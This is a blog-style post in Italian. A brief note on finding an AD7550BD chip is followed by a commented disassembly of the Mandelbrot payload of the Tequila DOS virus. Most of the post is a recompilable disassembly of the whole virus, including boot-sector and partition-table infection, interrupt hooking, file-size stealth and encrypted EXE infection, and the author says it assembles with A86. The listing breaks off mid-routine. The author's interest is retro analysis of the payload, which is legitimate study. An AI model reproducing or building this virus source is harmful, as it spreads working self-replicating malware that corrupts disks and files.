AD7550BD

Pensavo di avere visto tutto ma di sicuro non avrei mai pensato di trovare un integrato su supporto ceramico (e contatti dorati)  in un cestino delle pile esaurite

Nel dettaglio si tratta di un AD7550BD, un convertitore analogico digitale a 13 bit in formato DIP 40

Tequila Virus : Dissassemblato Mandelbrot

Dopo aver fatto un po' di esperienza con l'algoritmo dell'insieme di Mandelbrot con i numeri interi provo a riprendere un progetto vecchio di oltre 25 anni...ovvero decompilare il virus Tequila e piu' nel dettaglio debuggare il payload costituito da una immagine a caratteri di Mandelbrot

Sul sito Archive.org e' disponibile un file .COM che contiene nell'eseguibile solo il payload del virus

Stranamente l'immagine dell'insieme prodotta dal file. COM e' distorta. Cercando su Internet si vede che il virus genera una immagine corretta (come peraltro ricordavo dagli anni 90)

L'algoritmo e' stato praticamente tutto commentato. Si tratta di un calcolo con interi e numeri negativi espressi come complemento a due. Ci sono alcuni trucchi per velocizzare ma non sono stati utilizzati dei calcoli con shift dei bit (il moltiplicatore sembra essere pari a 500....se fosse stato 512 al posto di idiv sarebbe stato piu' semplice uno shift)

---------------------------------------------------------------------
0000 ; Base Address: 0000h Range: 0000h - 0121h Loaded length: 0121h
0000
0000                 .8086
0000                 .model flat
0000
0000 ; ===========================================================================
0000
0000 ; Segment type: Pure code
0000 seg000          segment byte public 'CODE'
0000                 assume cs:seg000
0000                 assume es:nothing, ss:nothing, ds:nothing

                [BP-02] = X
                [BP-04] = Y
                [BP-08] = Xquadro parte bassa
                [BP-06] = Xquadro parte alta
                [BP-0C] = Yquadro parte bassa
                [BP-0A] = Yquadro parte alta
                DI = B
                SI = A
                ES:BX = memoria video

                ; qui viene impostata la base della memoria video
                ; alla locazione B800:000, poi si chiede all'int 11
                ; la configurazione della macchina
                ; INT 11 risponde con un intero a 16 bit con la configurazione
                ; il valore 30h riporta il modo video attivo
                ; questo check puo' spostare la memoria video
                ; all'indirizzo alternativo B000:000

0000            mov     bx, 0B800h
0003            int     11h             ; EQUIPMENT DETERMINATION
0003                                         ; Return: AX = equipment flag bits
0005            and     ax, 30h
0008            cmp     ax, 30h
000B            jnz     short loc_10
000D            mov     bx, 0B000h
0010
0010 loc_10:                              
                ; fa puntare ES all'inizio della memoria video
                ; servira' dopo. Questo registro non verra' cambiato

0010            mov     es, bx
0012            assume es:nothing
                ; pone BX a 0
                ; BX e' il puntatore alla memoria video

0012            xor     bx, bx

                ; qui sono inizializzate le variabili A e B
                ; i valori sono negativi
                ; Per usare i numeri interi con la matematica intera
                ; si usa il complemento a due. Per ottenere il complemento
                ; a due si somma invertendo tutti i bit ed aggiungendo 1
                ; per esempio il complemento a due di
                ; FD8Fh = 1111 1101 1000 1111
                ;         0000 0010 0111 0000
                ;                          +1
                ;       =        10 0111 0001
                ; FD8Fh = -675
                ; allo stesso modo
                ; FC18h = -1000
                ;
                ; usando il moltiplicatore 514
                ; si ha che i valori iniziali sono
                ; B =  1.25
                ; A = -2.0


               
0014            mov     di, 0FD8Fh
0017
0017 loc_17:                             
0017            mov     si, 0FC18h
001A
001A loc_1A:                                
                ; e le salva nello stack BP e' lo Stack Base Pointer Register
                ; X = A
                ; Y = B

001A            mov     [bp-2], si
001D            mov     [bp-4], di

                ; in CX c'e' il numero di iterazioni del ciclo piu'
                ; interno di Mandelbrot
                ; nello specifico 30

0020            mov     cx, 1Eh
0023
0023 loc_23:         
                ; prende la prima variabile dallo stack  
             
0023            mov     ax, [bp-2]

                ; e la moltiplica per se stessa
                ; ovvero calcola il primo quadrato

0026            imul    ax
                ; prende il risultato della moltiplicazione
                ; e mette la parte alta e la parte basse
                ; in due memorie dello stack

0028            mov     [bp-8], ax
002B            mov     [bp-6], dx

                ; prende la seconda variabile e
                ; calcola il secondo quadrato
002E            mov     ax, [bp-4]
0031            imul    ax

                salvando di nuovo nello stack
0033            mov     [bp-0Ch], ax
0036            mov     [bp-0Ah], dx

                ; a questo punto somma la parte alta e la parte
                ; alta dei due quadrati calcolati
                ; X*X + Y*Y

0039            add     ax, [bp-8]
003C            adc     dx, [bp-6]
                ; e confronta la somma con  il valore di uscita
                ; ovvero 4. In questo caso viene fatto solo il confronto
                ; con la parte alta della somma dei quadrati
                ; visto che il moltiplicatore e' 500 il
                ; valore 4 deve essere trasformato in 2000
                ; 2000d equivale a 00000111 byte alto
                ; e 11010000 byte alto
                ; prendendo solo parte alta e' 00000111b
                ; il valore di controllo e'
                ; 0Fh tradotto in binario e;   00001000b

                ; X*X + Y*Y < 4 ??
003F            cmp     dx, 0Fh
                ; se la somma e' maggiore allora vai alla a disegnare sullo
                ; schemro
0042            jnb     short loc_6A
0044
0044 loc_44:    ; 2*X*Y +B    
                ; (X*Y/(scala/2))+B
                ; mette nel registro la prima variabile
0044            mov     ax, [bp-2]

                ; e la moltiplica per la seconda variabile
0047            imul    word ptr [bp-4]
                ; divide per ds:19Fh = 101h 
                ; in questo caso il fattore di scala 
                ; e' gia' stato diviso per due
                ; in modo da non dover moltiplicare per due

004A            idiv    word ptr ds:19Fh
                ; Aggiunge il parametro B

                ; X*X - Y*Y + A
                ; (X*X - Y*Y)/(4*scala) + A

004E            add     ax, di
0050            mov     [bp-4], ax
                ; prende il valore del primo quadrato
                ; dallo stack
0053            mov     ax, [bp-8]
0056            mov     dx, [bp-6]      ; DATA XREF: 0097↓r
                ; sottrae il valore del secondo quadrato
0059            sub     ax, [bp-0Ch]
005C            sbb     dx, [bp-0Ah]
                ; in realta' si tratta di una
                ; divisione con segno
                ; serve per riscalare il fattore di conversione
                ; prima impostato
005F            idiv    word ptr ds:19Dh
                ; ds:19Dh = 0905h
                ; e aggiunge il parametro A
0063            add     ax, si
                ; mette il valore di AX nello stack
0065            mov     [bp-2], ax
                ; se CX non e' zero allora fai un nuovo giro
0068            loop    loc_23
006A
006A loc_6A:    ; il valore di CX viene utilizzato per colorare
                ; la casella di testo
006A            inc     cx
                ; divide CL per 2
006B            shr     cl, 1
                ; mette CL in CH
006D            mov     ch, cl
                ; setta CL a 219
                ; questo e' un carattere esteso ASCII e' un
                ; rettangolo pieno
006F            mov     cl, 0DBh
                ; e carica CX nella memoria video
                ; puntata da ES:BX
0071            mov     es:[bx], cx
                ; incrementa di 2 il valore di BX
                ; puntatore alla memoria video
                ; perche' ogni carattere in modo testo e' caratterizzato
                ; due byte: il codice ASCII ed il byte del colore/blink etc
0074            inc     bx
0075            inc     bx

                ; aumenta SI di 12h (ovvero 18d)
0076            add     si, 12h
                ; e controlla se siamo arrivati al limite
                ; della variabile A
                ; 1B8h = 440d
                ; ovvero fino A < 0.88
0079             cmp     si, 1B8h
007D             jl      short loc_1A
                ; aumenta DI di 34h (52d)
007F             add     di, 34h ;
                ; confronta se siamo arrivati al limite
                ; della variabile B
                ; ovvero fino a B < 1.35
                ; 2A3h = 675d 
0082             cmp     di, 2A3h       
0086             jl      short loc_17

--------------------------- FINE DEL CALCOLO
--------------------------- DA QUI STAMPA LA STRINGA
--------------------------- ATTENDE UN TASTO
--------------------------- ED ESCE
               
0088                 xor     di, di
008A                 mov     si, 1B0h
008D                 mov     cx, 2Dh ; '-'
0090                 cld
0091
0091 loc_91:                                 ; CODE XREF: 0093↓j
0091                 movsb
0092                 inc     di
0093                 loop    loc_91
0095                 xor     ax, ax
0097                 int     16h             ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
0097                                         ; Return: AH = scan code, AL = character
0099                 mov     ah, 4Ch
009B                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
009B                                         ; AL = exit code
009B ; ---------------------------------------------------------------------------
009D                 db    9
009E                 db    5
009F                 db 2 dup(1)
00A1 aExecuteMovAxFe db '               Execute: mov ax, FE03 / int 21. Key to go on!',0
00DE                 db  0Ah
00DF                 align 2
00E0                 db 8 dup(20h), 54h, 65h, 71h, 75h, 69h, 6Ch, 61h, 20h
00E0                 db 73h, 61h, 6Dh, 70h, 6Ch, 65h, 20h, 66h, 72h, 61h, 63h
00E0                 db 74h, 61h, 6Ch, 20h, 68h, 61h, 63h, 6Bh, 65h, 64h, 20h
00E0                 db 62h, 79h, 20h, 4Dh, 48h, 20h, 2 dup(2Fh), 20h, 44h
00E0                 db 61h, 74h, 61h, 20h, 46h, 65h, 2 dup(6Ch), 6Fh, 77h
00E0                 db 73h, 20h, 4Ch, 74h, 64h, 2Eh, 20h
00E0 seg000          ends
00E0
00E0
00E0                 end

---------------------------------------------------------------

Questo e' il disassemblato del virus con il codice malevole
Evidenziata in giallo la parte del pyaload.
Si compila con A86 su DosBox ma non riesco a far partire il payload che dovrebbe apparire
dopo che un file infetto viene eseguito 3 volte
----------------------------------------------------------------
                    ;=============================
                   ;      the tequila virus     =
                   ;        a recompilable      =
                   ;         dis-assembly       =
                   ;    specifically designed   =
                   ; for assembly to a COM file =
                   ;  with the A86 assembler.   =
                   ;     ++++++++++++++++++     =
                   ; If you desire a "perfect"  =
                   ; byte for byte source code  =
                   ;match-up, the MASM assembler=
                   ; must be used and the noted =
                   ;instructions must be changed=
                   ; to comply with MASM syntax.=
                   ; In addition, all byte and  =
                   ;word pointer references must=
                   ; be changed from B and W to =
                   ;   BYTE POINTER and WORD    =
                   ;          POINTER.          =
                   ;=============================


CODE_SEG   SEGMENT
ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
ORG 0100
TEQUILA PROC NEAR

JMP START

  DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH

  DB 00DH, 00AH, 00DH, 00AH
  DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  DB "Switzerland.", 00DH, 00AH
  DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  DB "$"

  DB "Execute: mov ax, FE03 / int 21. Key to go on!"


PROGRAM_TERMINATION_ROUTINE:
   PUSH BP
   MOV BP,SP
   SUB SP,0CH
   PUSH AX
   PUSH BX
   PUSH CX
   PUSH DX
   PUSH SI
   PUSH DI
   PUSH ES
   PUSH DS
   PUSH CS
   POP DS
   MOV AX,W[6]
   INC AX
   JE 0243H           ;Masm Mod. Needed
   DEC AX
   JNE 020DH           ;Masm Mod. Needed
   DEC W[8]           ;Masm Mod. Needed
   JNE 0243H           ;Masm Mod. Needed
   JMP 0246H           ;Masm Mod. Needed
   MOV AH,02AH
   CALL INT_21
   MOV SI,CX
   MOV CX,W[8]
   CMP CL,DL
   JNE 022FH           ;Masm Mod. Needed
   MOV AX,SI
   SUB AX,W[6]
   MUL B[011H]           ;Masm Mod. Needed
   ADD AL,DH
   ADD CH,3
   CMP AL,CH
   JAE 0237H           ;Masm Mod. Needed
   MOV W[6],0FFFFH           ;Masm Mod. Needed
   JMP 0243H           ;Masm Mod. Needed
   MOV W[6],0           ;Masm Mod. Needed
   MOV W[8],3           ;Masm Mod. Needed
   JMP 02DF           ;Masm Mod. Needed
   MOV BX,0B800H
   INT 011
   AND AX,030H
   CMP AX,030H
   JNE 0256H           ;Masm Mod. Needed
   MOV BX,0B000H
   MOV ES,BX
   XOR BX,BX
   MOV DI,0FD8FH
   MOV SI,0FC18H
   MOV W[BP-2],SI
   MOV W[BP-4],DI
   MOV CX,01E
   MOV AX,W[BP-2]
   IMUL AX
   MOV W[BP-8],AX
   MOV W[BP-6],DX
   MOV AX,W[BP-4]
   IMUL AX
   MOV W[BP-0C],AX
   MOV W[BP-0A],DX
   ADD AX,W[BP-8]
   ADC DX,W[BP-6]
   CMP DX,0F
   JAE 02B0           ;Masm Mod. Needed
   MOV AX,W[BP-2]
   IMUL W[BP-4]
   IDIV W[0F]           ;Masm Mod. Needed
   ADD AX,DI
   MOV W[BP-4],AX
   MOV AX,W[BP-8]
   MOV DX,W[BP-6]
   SUB AX,W[BP-0C]
   SBB DX,W[BP-0A]
   IDIV W[0D]           ;Masm Mod. Needed
   ADD AX,SI
   MOV W[BP-2],AX
   LOOP 0269           ;Masm Mod. Needed
   INC CX
   SHR CL,1
   MOV CH,CL
   MOV CL,0DB
   ES MOV W[BX],CX           ;Masm Mod. Needed
   INC BX
   INC BX
   ADD SI,012
   CMP SI,01B8
   JL 0260           ;Masm Mod. Needed
   ADD DI,034
   CMP DI,02A3
   JL 025D           ;Masm Mod. Needed
   XOR DI,DI
   MOV SI,0BB
   MOV CX,02D
   CLD
   MOVSB
   INC DI
   LOOP 02D7           ;Masm Mod. Needed
   XOR AX,AX
   INT 016
   POP DS
   POP ES
   POP DI
   POP SI
   POP DX
   POP CX
   POP BX
   POP AX
   MOV SP,BP
   POP BP
   RET

PRINT_MESSAGE:
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS
   MOV AH,9
   MOV DX,012
   CALL INT_21
   POP DS
   POP DX
   RET

NEW_PARTITION_TABLE:
   CLI
   XOR BX,BX
   MOV DS,BX
   MOV SS,BX
   MOV SP,07C00
   STI
   XOR DI,DI
   SUB W[0413],3           ;Masm Mod. Needed
   INT 012
   MOV CL,6
   SHL AX,CL
   MOV ES,AX
   PUSH ES
   MOV AX,022A
   PUSH AX
   MOV AX,0205
   MOV CX,W[07C30]
   INC CX
   MOV DX,W[07C32]
   INT 013
   RETF

DB 002, 0FE                    
DB 04C, 0E9
DB 080, 004              

   PUSH CS
   POP DS
   XOR AX,AX
   MOV ES,AX
   MOV BX,07C00
   PUSH ES
   PUSH BX
   MOV AX,0201
   MOV CX,W[0226]
   MOV DX,W[0228]
   INT 013
   PUSH CS
   POP ES
   CLD
   MOV SI,0409
   MOV DI,09BE
   MOV CX,046
   REP MOVSB
   MOV SI,091B
   MOV DI,0A04
   MOV CX,045
   REP MOVSB
   CLI
   XOR AX,AX
   MOV ES,AX
   ES LES BX,[070]           ;Masm Mod. Needed
   MOV W[09B0],BX           ;Masm Mod. Needed
   MOV W[09B2],ES           ;Masm Mod. Needed
   MOV ES,AX
   ES LES BX,[084]           ;Masm Mod. Needed
   MOV W[09B4],BX           ;Masm Mod. Needed
   MOV W[09B6],ES           ;Masm Mod. Needed
   MOV ES,AX
   ES MOV W[070],044F           ;Masm Mod. Needed
   ES MOV W[072],DS           ;Masm Mod. Needed
   STI
   RETF

INSTALL:
   CALL NEXT_LINE
 NEXT_LINE:
   POP SI
   SUB SI,028F
   PUSH SI
   PUSH AX
   PUSH ES
   PUSH CS
   POP DS
   MOV AX,ES
   ADD W[SI+2],AX
   ADD W[SI+4],AX
   DEC AX
   MOV ES,AX
   MOV AX,0FE02
   INT 021
   CMP AX,01FD
   JE NO_PARTITION_INFECTION
   ES CMP B[0],05A           ;Masm Mod. Needed
   JNE NO_PARTITION_INFECTION
   ES CMP W[3],0BB           ;Masm Mod. Needed
   JBE NO_PARTITION_INFECTION
   ES MOV AX,W[012]           ;Masm Mod. Needed
   SUB AX,0BB
   MOV ES,AX
   XOR DI,DI
   MOV CX,09A4
   CLD
   REP MOVSB
   PUSH ES
   POP DS
   CALL INFECT_PARTITION_TABLE
 NO_PARTITION_INFECTION:
   POP ES
   POP AX
   PUSH ES
   POP DS
   POP SI
   CS MOV SS,W[SI+4]           ;Masm Mod. Needed
 CHAIN_TO_THE_HOST_FILE:
   CS JMP D[SI]           ;Masm Mod. Needed

INFECT_PARTITION_TABLE:
   MOV AH,02A
   INT 021
   MOV W[6],CX           ;Masm Mod. Needed
   MOV W[8],DX           ;Masm Mod. Needed
   MOV AH,052
   INT 021
   ES MOV AX,W[BX-2]           ;Masm Mod. Needed
   MOV W[03E8],AX           ;Masm Mod. Needed
   MOV AX,03513
   INT 021
   MOV W[09A0],BX           ;Masm Mod. Needed
   MOV W[09A2],ES           ;Masm Mod. Needed
   MOV AX,03501
   INT 021
   MOV SI,BX
   MOV DI,ES
   MOV AX,02501
   MOV DX,03DA
   INT 021
   MOV B[0A],0           ;Masm Mod. Needed
   PUSHF
   POP AX
   OR AX,0100
   PUSH AX
   POPF
   MOV AX,0201
   MOV BX,09A4
   MOV CX,1
   MOV DX,080
   PUSH DS
   POP ES
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   PUSHF
   POP AX
   AND AX,0FEFF
   PUSH AX
   POPF
   PUSHF
   MOV AX,02501
   MOV DX,SI
   MOV DS,DI
   INT 021
   POPF
   JAE 0450           ;Masm Mod. Needed
   JMP RET           ;Masm Mod. Needed
   PUSH ES
   POP DS
   CMP W[BX+02E],0FE02
   JNE 045C           ;Masm Mod. Needed
   JMP RET           ;Masm Mod. Needed
   ADD BX,01BE
   MOV CX,4
   MOV AL,B[BX+4]
   CMP AL,4
   JE 0479           ;Masm Mod. Needed
   CMP AL,6
   JE 0479           ;Masm Mod. Needed
   CMP AL,1
   JE 0479           ;Masm Mod. Needed
   ADD BX,010
   LOOP 0463           ;Masm Mod. Needed
   JMP SHORT RET           ;Masm Mod. Needed
   MOV DL,080
   MOV DH,B[BX+5]
   MOV W[0228],DX           ;Masm Mod. Needed
   MOV AX,W[BX+6]
   MOV CX,AX
   MOV SI,6
   AND AX,03F
   CMP AX,SI
   JBE RET           ;Masm Mod. Needed
   SUB CX,SI
   MOV DI,BX
   INC CX
   MOV W[0226],CX           ;Masm Mod. Needed
   MOV AX,0301
   MOV BX,09A4
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   DEC CX
   MOV W[DI+6],CX
   INC CX
   SUB W[DI+0C],SI
   SBB W[DI+0E],0
   MOV AX,0305
   MOV BX,0
   INC CX
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   MOV SI,01F6
   MOV DI,09A4
   MOV CX,034
   CLD
   REP MOVSB
   MOV AX,0301
   MOV BX,09A4
   MOV CX,1
   XOR DH,DH
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   RET

NEW_INTERRUPT_ONE:
   PUSH BP
   MOV BP,SP
   CS CMP B[0A],1           ;Masm Mod. Needed
   JE 0506           ;Masm Mod. Needed
   CMP W[BP+4],09B4
   JA 050B           ;Masm Mod. Needed
   PUSH AX
   PUSH ES
   LES AX,[BP+2]
   CS MOV W[09A0],AX           ;Masm Mod. Needed
   CS MOV W[09A2],ES           ;Masm Mod. Needed
   CS MOV B[0A],1
   POP ES
   POP AX
   AND W[BP+6],0FEFF
   POP BP
   IRET

NEW_INTERRUPT_13:
   CMP CX,1
   JNE 054E           ;Masm Mod. Needed
   CMP DX,080
   JNE 054E           ;Masm Mod. Needed
   CMP AH,3
   JA 054E           ;Masm Mod. Needed
   CMP AH,2
   JB 054E           ;Masm Mod. Needed
   PUSH CX
   PUSH DX
   DEC AL
   JE 0537           ;Masm Mod. Needed
   PUSH AX
   PUSH BX
   ADD BX,0200
   INC CX
   PUSHF
   CS CALL D[09A0]           ;Masm Mod. Needed
   POP BX
   POP AX
   MOV AL,1
   CS MOV CX,W[0226]           ;Masm Mod. Needed
   CS MOV DX,W[0228]           ;Masm Mod. Needed
   PUSHF
   CS CALL D[09A0]           ;Masm Mod. Needed
   POP DX
   POP CX
   RETF 2
   CS JMP D[09A0]           ;Masm Mod. Needed

NEW_TIMER_TICK_INTERRUPT:
   PUSH AX
   PUSH BX
   PUSH ES
   PUSH DS
   XOR AX,AX
   MOV ES,AX
   PUSH CS
   POP DS
   ES LES BX,[084]           ;Masm Mod. Needed
   MOV AX,ES
   CMP AX,0800
   JA 05B0           ;Masm Mod. Needed
   CMP AX,W[09B6]
   JNE 0575           ;Masm Mod. Needed
   CMP BX,W[09B4]
   JE 05B0           ;Masm Mod. Needed
   MOV W[09B4],BX           ;Masm Mod. Needed
   MOV W[09B6],ES           ;Masm Mod. Needed
   XOR AX,AX
   MOV DS,AX
   CS LES BX,[09B0]           ;Masm Mod. Needed
   MOV W[070],BX           ;Masm Mod. Needed
   MOV W[072],ES           ;Masm Mod. Needed
   LES BX,[04C]           ;Masm Mod. Needed
   CS MOV W[09A0],BX           ;Masm Mod. Needed
   CS MOV W[09A2],ES           ;Masm Mod. Needed
   MOV W[04C],09BE           ;Masm Mod. Needed
   MOV W[04E],CS           ;Masm Mod. Needed
   MOV W[084],04B1           ;Masm Mod. Needed
   MOV W[086],CS           ;Masm Mod. Needed
   POP DS
   POP ES
   POP BX
   POP AX
   IRET

INT_21_INTERCEPT:
   CMP AH,011
   JB CHECK_FOR_HANDLE
   CMP AH,012
   JA CHECK_FOR_HANDLE
   CALL ADJUST_FCB_MATCHES
   RETF 2
 CHECK_FOR_HANDLE:
   CMP AH,04E
   JB CHECK_FOR_PREVIOUS_INSTALLATION
   CMP AH,04F
   JA CHECK_FOR_PREVIOUS_INSTALLATION
   CALL ADJUST_HANDLE_MATCHES
   RETF 2
 CHECK_FOR_PREVIOUS_INSTALLATION:
   CMP AX,0FE02
   JNE CHECK_FOR_MESSAGE_PRINT
   NOT AX
   IRET
 CHECK_FOR_MESSAGE_PRINT:
   CMP AX,0FE03
   JNE CHECK_FOR_EXECUTE
   CS CMP W[6],0           ;Masm Mod. Needed
   JNE CHAIN_TO_TRUE_INT_21
   CALL PRINT_MESSAGE
   IRET
 CHECK_FOR_EXECUTE:
   CMP AX,04B00
   JE SET_STACK
   CMP AH,04C
   JNE CHAIN_TO_TRUE_INT_21
 SET_STACK:
   CS MOV W[09A6],SP           ;Masm Mod. Needed
   CS MOV W[09A8],SS           ;Masm Mod. Needed
   CLI
   PUSH CS
   POP SS
   MOV SP,0AE5
   STI
   CMP AH,04C
   JNE TO_AN_INFECTION
   CALL PROGRAM_TERMINATION_ROUTINE
   JMP SHORT NO_INFECTION
 TO_AN_INFECTION:
   CALL INFECT_THE_FILE
 NO_INFECTION:
   CLI
   CS MOV SS,W[09A8]           ;Masm Mod. Needed
   CS MOV SP,W[09A6]           ;Masm Mod. Needed
   STI
   JMP SHORT CHAIN_TO_TRUE_INT_21
 CHAIN_TO_TRUE_INT_21:
   CS INC W[09BC]           ;Masm Mod. Needed
   CS JMP D[09B4]           ;Masm Mod. Needed

NEW_CRITICAL_ERROR_HANDLER:
   MOV AL,3
   IRET

ADJUST_FCB_MATCHES:
   PUSH BX
   PUSH ES
   PUSH AX
   MOV AH,02F
   CALL INT_21
   POP AX
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   PUSHF
   PUSH AX
   CMP AL,0FF
   JE 0664           ;Masm Mod. Needed
   ES CMP B[BX],0FF           ;Masm Mod. Needed
   JNE 064F           ;Masm Mod. Needed
   ADD BX,7
   ES MOV AL,B[BX+017]           ;Masm Mod. Needed
   AND AL,01F
   CMP AL,01F
   JNE 0664           ;Masm Mod. Needed
   ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
   ES SBB W[BX+01F],0           ;Masm Mod. Needed
   POP AX
   POPF
   POP ES
   POP BX
   RET

ADJUST_HANDLE_MATCHES:
   PUSH BX
   PUSH ES
   PUSH AX
   MOV AH,02F
   CALL INT_21
   POP AX
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   PUSHF
   PUSH AX
   JB 0691           ;Masm Mod. Needed
   ES MOV AL,B[BX+016]           ;Masm Mod. Needed
   AND AL,01F
   CMP AL,01F
   JNE 0691           ;Masm Mod. Needed
   ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
   ES SBB W[BX+01C],0           ;Masm Mod. Needed
   POP AX
   POPF
   POP ES
   POP BX
   RET

WRITE_TO_THE_FILE:
   MOV AH,040
   JMP 069C           ;Masm Mod. Needed

READ_FROM_THE_FILE:
   MOV AH,03F
   CALL 06B4           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   SUB AX,CX
   RET

MOVE_TO_END_OF_FILE:
   XOR CX,CX
   XOR DX,DX
   MOV AX,04202
   JMP 06B4           ;Masm Mod. Needed

MOVE_TO_BEGINNING_OF_FILE:
   XOR CX,CX
   XOR DX,DX
   MOV AX,04200
   CS MOV BX,W[09A4]           ;Masm Mod. Needed

INT_21:
   CLI
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   RET

INFECT_THE_FILE:
   PUSH AX
   PUSH BX
   PUSH CX
   PUSH DX
   PUSH SI
   PUSH DI
   PUSH ES
   PUSH DS
   CALL CHECK_LETTERS_IN_FILENAME
   JAE GOOD_NAME
   JMP BAD_NAME

GOOD_NAME:
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS

SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
   MOV AX,03524
   CALL INT_21
   MOV W[09B8],BX           ;Masm Mod. Needed
   MOV W[09BA],ES           ;Masm Mod. Needed
   MOV AX,02524
   MOV DX,052A
   CALL INT_21
   POP DS
   POP DX

SAVE_AND_REPLACE_FILE_ATTRIBUTE:
   MOV AX,04300
   CALL INT_21
   CS MOV W[09AA],CX           ;Masm Mod. Needed
   JAE 06FE           ;Masm Mod. Needed
   JMP RESTORE_CRIT_HANDLER
   MOV AX,04301
   XOR CX,CX
   CALL INT_21
   JB 077C           ;Masm Mod. Needed

OPEN_FILE_FOR_READ_WRITE:
   MOV AX,03D02
   CALL INT_21
   JB 0771           ;Masm Mod. Needed
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS
   MOV W[09A4],AX           ;Masm Mod. Needed

GET_FILEDATE:
   MOV AX,05700
   CALL 06B4           ;Masm Mod. Needed
   JB 075C           ;Masm Mod. Needed
   MOV W[09AC],DX           ;Masm Mod. Needed
   MOV W[09AE],CX           ;Masm Mod. Needed

READ_AND_CHECK_EXE_HEADER:
   CALL 06AD           ;Masm Mod. Needed
   MOV DX,0A49
   MOV CX,01C
   CALL 069A           ;Masm Mod. Needed
   JB 075C           ;Masm Mod. Needed
   PUSH DS
   POP ES
   MOV DI,0E8
   MOV CX,020
   CMP W[0A49],05A4D           ;Masm Mod. Needed
   JNE 075C           ;Masm Mod. Needed
   MOV AX,W[0A5B]
   CLD
   REPNE SCASW
   JNE 0754           ;Masm Mod. Needed
   OR W[09AE],01F           ;Masm Mod. Needed
   JMP 075C           ;Masm Mod. Needed
   CALL READ_PAST_END_OF_FILE
   JB 075C           ;Masm Mod. Needed
   CALL ENCRYPT_AND_WRITE_TO_FILE

RESTORE_ALTERED_DATE:
   MOV AX,05701
   MOV DX,W[09AC]
   MOV CX,W[09AE]
   CALL 06B4           ;Masm Mod. Needed

CLOSE_THE_FILE:
   MOV AH,03E
   CALL 06B4           ;Masm Mod. Needed

RESTORE_FILE_ATTRIBUTE:
   POP DS
   POP DX
   MOV AX,04301
   CS MOV CX,W[09AA]           ;Masm Mod. Needed
   CALL INT_21

RESTORE_CRIT_HANDLER:
   MOV AX,02524
   CS LDS DX,[09B8]           ;Masm Mod. Needed
   CALL INT_21

BAD_NAME:
   POP DS
   POP ES
   POP DI
   POP SI
   POP DX
   POP CX
   POP BX
   POP AX
   RET

CHECK_LETTERS_IN_FILENAME:
   PUSH DS
   POP ES
   MOV DI,DX
   MOV CX,-1
   XOR AL,AL
   CLD
   REPNE SCASB
   NOT CX
   MOV DI,DX
   MOV AX,04353
   MOV SI,CX
   SCASW
   JE 07B7           ;Masm Mod. Needed
   DEC DI
   LOOP 07A5           ;Masm Mod. Needed
   MOV CX,SI
   MOV DI,DX
   MOV AL,056
   REPNE SCASB
   JE 07B7           ;Masm Mod. Needed
   CLC
   RET
   STC
   RET

READ_PAST_END_OF_FILE:
   MOV CX,-1
   MOV DX,-0A
   CALL 06A8           ;Masm Mod. Needed
   MOV DX,0A65
   MOV CX,8
   CALL 069A           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   CMP W[0A65],0FDF0           ;Masm Mod. Needed
   JNE 07F0           ;Masm Mod. Needed
   CMP W[0A67],0AAC5           ;Masm Mod. Needed
   JNE 07F0           ;Masm Mod. Needed
   MOV CX,-1
   MOV DX,-9
   CALL 06A8           ;Masm Mod. Needed
   MOV DX,0A6B
   MOV CX,4
   CALL 0696           ;Masm Mod. Needed
   RET
   CLC
   RET

ENCRYPT_AND_WRITE_TO_FILE:
   CALL MOVE_TO_END_OF_FILE
   MOV SI,AX
   MOV DI,DX
   MOV BX,0A49
   MOV AX,W[BX+4]
   MUL W[0D]           ;Masm Mod. Needed
   SUB AX,SI
   SBB DX,DI
   JAE 080C           ;Masm Mod. Needed
   JMP OUT_OF_ENCRYPT
   MOV AX,W[BX+8]
   MUL W[0B]           ;Masm Mod. Needed
   SUB SI,AX
   SBB DI,DX
   MOV AX,W[BX+0E]
   MOV W[4],AX           ;Masm Mod. Needed
   ADD W[4],010           ;Masm Mod. Needed
   MUL W[0B]           ;Masm Mod. Needed
   ADD AX,W[BX+010]
   SUB AX,SI
   SBB DX,DI
   JB 083C           ;Masm Mod. Needed
   SUB AX,080
   SBB DX,0
   JB RET           ;Masm Mod. Needed
   ADD W[BX+0E],09B
   MOV AX,W[BX+016]
   ADD AX,010
   MOV W[2],AX           ;Masm Mod. Needed
   MOV AX,W[BX+014]
   MOV W[0],AX           ;Masm Mod. Needed
   CALL 06A4           ;Masm Mod. Needed
   ADD AX,09A4
   ADC DX,0
   DIV W[0D]           ;Masm Mod. Needed
   INC AX
   MOV W[0A4D],AX           ;Masm Mod. Needed
   MOV W[0A4B],DX           ;Masm Mod. Needed
   MOV DX,DI
   MOV AX,SI
   DIV W[0B]           ;Masm Mod. Needed
   MOV W[0A5F],AX           ;Masm Mod. Needed
   MOV BX,DX
   ADD DX,0960
   MOV W[0A5D],DX           ;Masm Mod. Needed
   CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
   JB RET           ;Masm Mod. Needed
   OR W[09AE],01F           ;Masm Mod. Needed
   MOV BX,W[09BC]
   AND BX,01F
   SHL BX,1
   MOV AX,W[BX+0E8]
